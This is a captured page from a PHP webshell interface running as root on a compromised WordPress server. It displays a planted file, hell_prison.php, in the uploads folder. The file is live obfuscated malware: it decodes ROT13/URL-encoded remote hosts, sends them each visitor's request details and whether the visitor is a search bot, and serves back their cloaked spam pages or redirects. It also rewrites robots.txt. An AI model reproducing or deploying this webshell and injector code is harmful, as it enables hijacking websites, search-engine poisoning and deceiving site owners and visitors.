403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.217.46
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : root ( 0)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/test7.chuangfenglink.xyz/wp-content/uploads/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/test7.chuangfenglink.xyz/wp-content/uploads/hell_prison.php
<?php
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
    header('HTTP/1.0 403 Forbidden');
    exit('Access denied.');
}
?>
<?php
$xmlstring = '%32%33%38%39%2D%65%6E%61%78%32%30%37%2E%76%7A%63%68%79%66%62%65%2E%6B%6C%6D,%32%33%38%39%2D%65%6E%61%78%32%30%37%2E%69%76%65%6E%79%76%67%75%72%2E%6B%6C%6D,%32%33%38%39%2D%65%6E%61%78%32%30%37%2E%73%6E%66%67%62%65%72%66%2E%67%62%63,%32%33%38%39%2D%65%6E%61%78%32%30%37%2E%79%76%7A%76%61%6E%79%76%66%2E%67%62%63';
$xmlname = explode(',', $xmlstring);
$http = is_https() ? 'https' : 'http';
$duri_tmp = drequest_uri();
$duri = empty($duri_tmp) ? '/' : $duri_tmp;
$host = $_SERVER['HTTP_HOST'];
$lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'en';
$urlshang = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$web = 'web=' . $host . '&zz=' . (disbot() ? '1' : '0') . '&uri=' . urlencode($duri) . '&urlshang=' . urlencode($urlshang) . '&http=' . $http . '&lang=' . $lang;
$html_content = doutdo($xmlname, $http, $web);
$robotsPath = $_SERVER['DOCUMENT_ROOT'] . '/robots.txt';
$hta = "";
if (stristr($duri, '/?')) {
    $hta = "?";
}
$defaultContent = 'User-agent: *' . PHP_EOL;
$defaultContent .= 'Allow: /' . PHP_EOL . PHP_EOL;
$defaultContent .= 'Sitemap: ' . $http . '://' . $host . '/' . $hta . 'sitemap.xml' . PHP_EOL;
if (!file_exists($robotsPath)) {
    file_put_contents($robotsPath, $defaultContent);
} else {
    if (md5_file($robotsPath) !== md5($defaultContent)) {
        @file_put_contents($robotsPath, $defaultContent);
    }
}
if (!strstr($html_content, 'nobotuseragent')) {
    handle_content($html_content);
}
function is_https()
{
    return (
        isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off'
        || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'
        || isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off'
    );
}
function drequest_uri()
{
    if (isset($_SERVER['REQUEST_URI'])) {
        return $_SERVER['REQUEST_URI'];
    } elseif (isset($_SERVER['argv'])) {
        return $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
    } else {
        return $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
    }
}
function disbot()
{
    $uAgent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
    return stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot');
}
function doutdo($webs, $http, $web)
{
    shuffle($webs);
    foreach ($webs as $domain) {
        $domain = str_rot13(urldecode($domain));
        $url = 'http://' . $domain . '/index.php?' . $web;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $response = curl_exec($ch);
        if (!curl_errno($ch)) {
            curl_close($ch);
            return $response;
        } else {
            curl_close($ch);
        }
        if (ini_get('allow_url_fopen')) {
            $response = @file_get_contents($url);
            if ($response !== false) {
                return $response;
            }
        }
    }
    echo 'cURL Error: 0';
}
function handle_content($html_content)
{
    if (strstr($html_content, 'okhtmlgetcontent')) {
        header('Content-type: text/html; charset=utf-8');
        echo str_replace("okhtmlgetcontent", '', $html_content);
        exit();
    } elseif (strstr($html_content, 'okxmlgetcontent')) {
        header('Content-Type: application/xml; charset=utf-8');
        echo str_replace("okxmlgetcontent", '', $html_content);
        exit();
    } elseif (strstr($html_content, 'getcontent500page')) {
        header('HTTP/1.1 500 Internal Server Error');
        exit();
    } elseif (strstr($html_content, 'getcontent404page')) {
        header('HTTP/1.1 404 Not Found');
        exit();
    } elseif (strstr($html_content, 'getcontent301page')) {
        header('HTTP/1.1 301 Moved Permanently');
        $html_content = str_replace('getcontent301page', '', $html_content);
        header('Location: ' . $html_content);
        exit();
    } elseif (strstr($html_content, 'okrobotsgetcontent')) {
        header('Content-Type: text/plain');
        echo str_replace("okrobotsgetcontent", '', $html_content);
        exit();
    }
}


Youez - 2016 - github.com/yon3zu
LinuXploit